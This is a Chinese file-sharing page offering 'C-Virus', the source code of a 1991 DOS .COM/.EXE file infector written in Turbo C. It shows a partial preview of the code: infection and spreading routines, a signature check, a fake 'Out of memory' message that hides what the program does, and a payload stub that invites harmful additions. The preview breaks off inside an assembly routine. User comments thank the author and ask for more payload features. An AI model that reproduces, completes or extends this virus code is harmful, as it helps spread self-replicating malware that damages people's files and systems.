C语言编写的病毒源码

时间:2012-11-04 13:27:13
【文件属性】:

文件名称:C语言编写的病毒源码

文件大小:2KB

文件格式:RAR

更新时间:2012-11-04 13:27:13

源码

/* C-Virus: A generic .COM and .EXE infector Written by Nowhere Man Project started and completed on 6-24-91 Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too) */ #pragma inline // Compile to .ASM #include #include #include #include #include void hostile_activity(void); int infected(char *); void spread(char *, char *); void small_print(char *); char *victim(void); #define DEBUG #define ONE_KAY 1024 // 1k #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum #define SIGNATURE "NMAN" // Sign of infection int main(void) { /* The main program */ spread(_argv[0], victim()); // Perform infection small_print("Out of memory\r\n"); // Print phony error return(1); // Fake failure... } void hostile_activity(void) { /* Put whatever you feel like doing here...I chose to make this part harmless, but if you're feeling nasty, go ahead and have some fun... */ small_print("\a\a\aAll files infected. Mission complete.\r\n"); exit(2); } int infected(char *fname) { /* This function determines if fname is infected */ FILE *fp; // File handle char sig[5]; // Virus signature fp = fopen(fname, "rb"); fseek(fp, 28L, SEEK_SET); fread(sig, sizeof(sig) - 1, 1, fp); #ifdef DEBUG printf("Signature for %s: %s\n", fname, sig); #endif fclose(fp); return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0); } void small_print(char *string) { /* This function is a small, quick print routine */ asm { push si mov si,string mov ah,0xE }


【文件预览】:
C编写的病毒源码.txt

网友评论

  • 谢谢作者!这个感染功能很特别!要是在主函数里面加一点别的功能就更好了!
  • 这是个好东西对我的帮助很大我喜欢这个 谢谢你